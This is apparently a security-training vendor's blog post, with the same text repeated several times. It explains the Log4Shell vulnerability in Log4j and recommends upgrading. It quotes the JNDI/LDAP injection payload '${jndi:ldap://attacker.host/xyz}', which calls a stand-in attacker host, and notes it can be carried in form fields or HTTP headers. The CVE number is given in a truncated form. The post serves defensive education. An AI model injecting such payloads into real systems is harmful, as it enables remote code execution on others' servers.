The Log4j vulnerability explained - Its attack vector and how to prevent it
On December 9th, a 0-day exploit in the Java library Log4j was disclosed. CVE-44228, dubbed Log4Shell, received a “high severity” rating as the exploit can result in remote code execution (RCE). Moreover, log4j-core is one of the most common Java logging libraries being used, and therefore it puts millions of applications at risk.
Want to quickly level up your skills in tackling Log4Shell?
We have built a showcase that takes you from the basic idea of Log4Shell to experiencing the exploits of this vulnerability in a simulator called, Mission. In this Mission, we will walk you through how the Log4j Vulnerability can impact your infrastructure and applications. Click here to jump right in the showcase, or continue reading to learn more about the vulnerability in detail.
Old news?
The exploit is not new. Already in their 2016 BlackHat talk, security researchers Alvaro Muñoz and Oleksandr Mirosh emphasized that “applications should not perform JNDI lookups with untrusted data”, and illustrated how a targeted JNDI/LDAP injection could lead to remote code execution. And this is exactly what lies at the core of Log4Shell.
Attack vector
Log4Shell’s injection payload looks like this:
${jndi:ldap://attacker.host/xyz}
To understand this we need to know about Java’s Expression Language (EL). Expressions written in the following syntax: ${expr} will be evaluated at runtime. For example, ${java:version} will return the Java version being used.
Next, there is JNDI, or Java Naming and Directory Interface, which is an API that allows connecting with services using protocols such as LDAP, DNS, RMI, etc. to retrieve data or resources. Simply put, in our malicious payload example above, JNDI performs a lookup against the attacker-controlled LDAP server. Its response could, for example, point towards a Java class file containing malicious code, which will in return be executed on the vulnerable server.
What makes this vulnerability so problematic is that Log4j evaluates all log entries, and it will perform lookups of all logged user input written in EL syntax prefixed with “jndi”. The payload can be injected in any place where users can input data, such as form fields. Also, HTTP headers, such the User-Agent and X-Forwarded-For, and other headers, can be customized to carry the payload.
To experience the exploit yourself, head over to our showcase and jump into step 2 - "Experience impact".
Prevention: Awareness
Upgrading is the recommended action for all applications, as Log4j has been patching up the vulnerable code. Versions 2.15.0 and 2.16.0, however, contained a DDoS and other vulnerabilities, which means that as of late december, it is recommended to upgrade to 2.17.0.
As developers writing code, we need to take security into account at all times. Log4Shell has taught us that there are risks involved when using third party frameworks or libraries. We need to be conscious of the fact that the security of our application can be compromised by using external sources, which we naively assume to be secure.
Could this vulnerability have been prevented? Yes and no. On the one hand, developers can only do so much as vulnerable components are being introduced via third party software. On the other hand, the lesson learned from this, is one that has been repeated over and over, i.e. to never trust user input.
Secure Code Warrior believes that security minded developers are the best way forward to prevent vulnerabilities in code from happening. Because SCW provides programming framework-specific training in scale, enterprise customers have been able to quickly locate who the impacted Java developers are by utilizing the reporting data. They also relied on their SCW-trained security champions to accelerate upgrading Log4j.
For Java developers in particular, Secure Code Warrior offers Sensei, a free IntelliJ-plugin. This rule-based code analysis tool can be used to enforce coding guidelines, and prevent and remediate vulnerabilities. You can create your own rules, or use our ready-made cookbooks. Browse through our recipes, and do not forget to download our Log4j cookbook which will help you locate and fix the Log4Shell vulnerability in the blink of an eye.
Level up your skills in defending against Log4Shell
Interested in putting what you learned in this blog post into practice? Our showcase can help you. At the start of the showcase, you will have a quick review of this vulnerability, and then you will be taken to a simulated environment where you can try the exploit with guided instructions.
In December 2021, a critical security vulnerability Log4Shell was disclosed in the Java library Log4j. In this article, we breakdown the Log4Shell vulnerability into the simplest form for you to grasp the basic and introduce you to a mission - a playground where you can try exploiting a simulated website using the knowledge of this vulnerability.
Secure Code Warrior is here for your organization to help you secure code across the entire software development lifecycle and create a culture in which cybersecurity is top of mind. Whether you’re an AppSec Manager, Developer, CISO, or anyone involved in security, we can help your organization reduce risks associated with insecure code.
Book a demoLaura Verheyde is a software developer at Secure Code Warrior focused on researching vulnerabilities and creating content for Missions and Coding labs.
On December 9th, a 0-day exploit in the Java library Log4j was disclosed. CVE-44228, dubbed Log4Shell, received a “high severity” rating as the exploit can result in remote code execution (RCE). Moreover, log4j-core is one of the most common Java logging libraries being used, and therefore it puts millions of applications at risk.
Want to quickly level up your skills in tackling Log4Shell?
We have built a showcase that takes you from the basic idea of Log4Shell to experiencing the exploits of this vulnerability in a simulator called, Mission. In this Mission, we will walk you through how the Log4j Vulnerability can impact your infrastructure and applications. Click here to jump right in the showcase, or continue reading to learn more about the vulnerability in detail.
Old news?
The exploit is not new. Already in their 2016 BlackHat talk, security researchers Alvaro Muñoz and Oleksandr Mirosh emphasized that “applications should not perform JNDI lookups with untrusted data”, and illustrated how a targeted JNDI/LDAP injection could lead to remote code execution. And this is exactly what lies at the core of Log4Shell.
Attack vector
Log4Shell’s injection payload looks like this:
${jndi:ldap://attacker.host/xyz}
To understand this we need to know about Java’s Expression Language (EL). Expressions written in the following syntax: ${expr} will be evaluated at runtime. For example, ${java:version} will return the Java version being used.
Next, there is JNDI, or Java Naming and Directory Interface, which is an API that allows connecting with services using protocols such as LDAP, DNS, RMI, etc. to retrieve data or resources. Simply put, in our malicious payload example above, JNDI performs a lookup against the attacker-controlled LDAP server. Its response could, for example, point towards a Java class file containing malicious code, which will in return be executed on the vulnerable server.
What makes this vulnerability so problematic is that Log4j evaluates all log entries, and it will perform lookups of all logged user input written in EL syntax prefixed with “jndi”. The payload can be injected in any place where users can input data, such as form fields. Also, HTTP headers, such the User-Agent and X-Forwarded-For, and other headers, can be customized to carry the payload.
To experience the exploit yourself, head over to our showcase and jump into step 2 - "Experience impact".
Prevention: Awareness
Upgrading is the recommended action for all applications, as Log4j has been patching up the vulnerable code. Versions 2.15.0 and 2.16.0, however, contained a DDoS and other vulnerabilities, which means that as of late december, it is recommended to upgrade to 2.17.0.
As developers writing code, we need to take security into account at all times. Log4Shell has taught us that there are risks involved when using third party frameworks or libraries. We need to be conscious of the fact that the security of our application can be compromised by using external sources, which we naively assume to be secure.
Could this vulnerability have been prevented? Yes and no. On the one hand, developers can only do so much as vulnerable components are being introduced via third party software. On the other hand, the lesson learned from this, is one that has been repeated over and over, i.e. to never trust user input.
Secure Code Warrior believes that security minded developers are the best way forward to prevent vulnerabilities in code from happening. Because SCW provides programming framework-specific training in scale, enterprise customers have been able to quickly locate who the impacted Java developers are by utilizing the reporting data. They also relied on their SCW-trained security champions to accelerate upgrading Log4j.
For Java developers in particular, Secure Code Warrior offers Sensei, a free IntelliJ-plugin. This rule-based code analysis tool can be used to enforce coding guidelines, and prevent and remediate vulnerabilities. You can create your own rules, or use our ready-made cookbooks. Browse through our recipes, and do not forget to download our Log4j cookbook which will help you locate and fix the Log4Shell vulnerability in the blink of an eye.
Level up your skills in defending against Log4Shell
Interested in putting what you learned in this blog post into practice? Our showcase can help you. At the start of the showcase, you will have a quick review of this vulnerability, and then you will be taken to a simulated environment where you can try the exploit with guided instructions.
On December 9th, a 0-day exploit in the Java library Log4j was disclosed. CVE-44228, dubbed Log4Shell, received a “high severity” rating as the exploit can result in remote code execution (RCE). Moreover, log4j-core is one of the most common Java logging libraries being used, and therefore it puts millions of applications at risk.
Want to quickly level up your skills in tackling Log4Shell?
We have built a showcase that takes you from the basic idea of Log4Shell to experiencing the exploits of this vulnerability in a simulator called, Mission. In this Mission, we will walk you through how the Log4j Vulnerability can impact your infrastructure and applications. Click here to jump right in the showcase, or continue reading to learn more about the vulnerability in detail.
Old news?
The exploit is not new. Already in their 2016 BlackHat talk, security researchers Alvaro Muñoz and Oleksandr Mirosh emphasized that “applications should not perform JNDI lookups with untrusted data”, and illustrated how a targeted JNDI/LDAP injection could lead to remote code execution. And this is exactly what lies at the core of Log4Shell.
Attack vector
Log4Shell’s injection payload looks like this:
${jndi:ldap://attacker.host/xyz}
To understand this we need to know about Java’s Expression Language (EL). Expressions written in the following syntax: ${expr} will be evaluated at runtime. For example, ${java:version} will return the Java version being used.
Next, there is JNDI, or Java Naming and Directory Interface, which is an API that allows connecting with services using protocols such as LDAP, DNS, RMI, etc. to retrieve data or resources. Simply put, in our malicious payload example above, JNDI performs a lookup against the attacker-controlled LDAP server. Its response could, for example, point towards a Java class file containing malicious code, which will in return be executed on the vulnerable server.
What makes this vulnerability so problematic is that Log4j evaluates all log entries, and it will perform lookups of all logged user input written in EL syntax prefixed with “jndi”. The payload can be injected in any place where users can input data, such as form fields. Also, HTTP headers, such the User-Agent and X-Forwarded-For, and other headers, can be customized to carry the payload.
To experience the exploit yourself, head over to our showcase and jump into step 2 - "Experience impact".
Prevention: Awareness
Upgrading is the recommended action for all applications, as Log4j has been patching up the vulnerable code. Versions 2.15.0 and 2.16.0, however, contained a DDoS and other vulnerabilities, which means that as of late december, it is recommended to upgrade to 2.17.0.
As developers writing code, we need to take security into account at all times. Log4Shell has taught us that there are risks involved when using third party frameworks or libraries. We need to be conscious of the fact that the security of our application can be compromised by using external sources, which we naively assume to be secure.
Could this vulnerability have been prevented? Yes and no. On the one hand, developers can only do so much as vulnerable components are being introduced via third party software. On the other hand, the lesson learned from this, is one that has been repeated over and over, i.e. to never trust user input.
Secure Code Warrior believes that security minded developers are the best way forward to prevent vulnerabilities in code from happening. Because SCW provides programming framework-specific training in scale, enterprise customers have been able to quickly locate who the impacted Java developers are by utilizing the reporting data. They also relied on their SCW-trained security champions to accelerate upgrading Log4j.
For Java developers in particular, Secure Code Warrior offers Sensei, a free IntelliJ-plugin. This rule-based code analysis tool can be used to enforce coding guidelines, and prevent and remediate vulnerabilities. You can create your own rules, or use our ready-made cookbooks. Browse through our recipes, and do not forget to download our Log4j cookbook which will help you locate and fix the Log4Shell vulnerability in the blink of an eye.
Level up your skills in defending against Log4Shell
Interested in putting what you learned in this blog post into practice? Our showcase can help you. At the start of the showcase, you will have a quick review of this vulnerability, and then you will be taken to a simulated environment where you can try the exploit with guided instructions.
Click on the link below and download the PDF of this one pager.
DownloadSecure Code Warrior is here for your organization to help you secure code across the entire software development lifecycle and create a culture in which cybersecurity is top of mind. Whether you’re an AppSec Manager, Developer, CISO, or anyone involved in security, we can help your organization reduce risks associated with insecure code.
View reportBook a demoLaura Verheyde is a software developer at Secure Code Warrior focused on researching vulnerabilities and creating content for Missions and Coding labs.
On December 9th, a 0-day exploit in the Java library Log4j was disclosed. CVE-44228, dubbed Log4Shell, received a “high severity” rating as the exploit can result in remote code execution (RCE). Moreover, log4j-core is one of the most common Java logging libraries being used, and therefore it puts millions of applications at risk.
Want to quickly level up your skills in tackling Log4Shell?
We have built a showcase that takes you from the basic idea of Log4Shell to experiencing the exploits of this vulnerability in a simulator called, Mission. In this Mission, we will walk you through how the Log4j Vulnerability can impact your infrastructure and applications. Click here to jump right in the showcase, or continue reading to learn more about the vulnerability in detail.
Old news?
The exploit is not new. Already in their 2016 BlackHat talk, security researchers Alvaro Muñoz and Oleksandr Mirosh emphasized that “applications should not perform JNDI lookups with untrusted data”, and illustrated how a targeted JNDI/LDAP injection could lead to remote code execution. And this is exactly what lies at the core of Log4Shell.
Attack vector
Log4Shell’s injection payload looks like this:
${jndi:ldap://attacker.host/xyz}
To understand this we need to know about Java’s Expression Language (EL). Expressions written in the following syntax: ${expr} will be evaluated at runtime. For example, ${java:version} will return the Java version being used.
Next, there is JNDI, or Java Naming and Directory Interface, which is an API that allows connecting with services using protocols such as LDAP, DNS, RMI, etc. to retrieve data or resources. Simply put, in our malicious payload example above, JNDI performs a lookup against the attacker-controlled LDAP server. Its response could, for example, point towards a Java class file containing malicious code, which will in return be executed on the vulnerable server.
What makes this vulnerability so problematic is that Log4j evaluates all log entries, and it will perform lookups of all logged user input written in EL syntax prefixed with “jndi”. The payload can be injected in any place where users can input data, such as form fields. Also, HTTP headers, such the User-Agent and X-Forwarded-For, and other headers, can be customized to carry the payload.
To experience the exploit yourself, head over to our showcase and jump into step 2 - "Experience impact".
Prevention: Awareness
Upgrading is the recommended action for all applications, as Log4j has been patching up the vulnerable code. Versions 2.15.0 and 2.16.0, however, contained a DDoS and other vulnerabilities, which means that as of late december, it is recommended to upgrade to 2.17.0.
As developers writing code, we need to take security into account at all times. Log4Shell has taught us that there are risks involved when using third party frameworks or libraries. We need to be conscious of the fact that the security of our application can be compromised by using external sources, which we naively assume to be secure.
Could this vulnerability have been prevented? Yes and no. On the one hand, developers can only do so much as vulnerable components are being introduced via third party software. On the other hand, the lesson learned from this, is one that has been repeated over and over, i.e. to never trust user input.
Secure Code Warrior believes that security minded developers are the best way forward to prevent vulnerabilities in code from happening. Because SCW provides programming framework-specific training in scale, enterprise customers have been able to quickly locate who the impacted Java developers are by utilizing the reporting data. They also relied on their SCW-trained security champions to accelerate upgrading Log4j.
For Java developers in particular, Secure Code Warrior offers Sensei, a free IntelliJ-plugin. This rule-based code analysis tool can be used to enforce coding guidelines, and prevent and remediate vulnerabilities. You can create your own rules, or use our ready-made cookbooks. Browse through our recipes, and do not forget to download our Log4j cookbook which will help you locate and fix the Log4Shell vulnerability in the blink of an eye.
Level up your skills in defending against Log4Shell
Interested in putting what you learned in this blog post into practice? Our showcase can help you. At the start of the showcase, you will have a quick review of this vulnerability, and then you will be taken to a simulated environment where you can try the exploit with guided instructions.
Table of contents
Secure Code Warrior is here for your organization to help you secure code across the entire software development lifecycle and create a culture in which cybersecurity is top of mind. Whether you’re an AppSec Manager, Developer, CISO, or anyone involved in security, we can help your organization reduce risks associated with insecure code.
Book a demoDownloadResources to get you started
DigitalOcean Decreases Security Debt with Secure Code Warrior
DigitalOcean's use of Secure Code Warrior training has significantly reduced security debt, allowing teams to focus more on innovation and productivity. The improved security has strengthened their product quality and competitive edge. Looking ahead, the SCW Trust Score will help them further enhance security practices and continue driving innovation.
Resources to get you started
Coders Conquer Security: Share & Learn - Cross-Site Scripting (XSS)
Cross-site scripting (XSS) uses the trust of browsers and ignorance of users to steal data, take over accounts, and deface websites; it's a vulnerability that can get very ugly, very quickly. Let's take a look at how XSS works, what damage can be done, and how to prevent it.
Coders Conquer Security: Share & Learn - Cross-Site Scripting (XSS)
Cross-site scripting (XSS) uses the trust of browsers and ignorance of users to steal data, take over accounts, and deface websites; it's a vulnerability that can get very ugly, very quickly. Let's take a look at how XSS works, what damage can be done, and how to prevent it.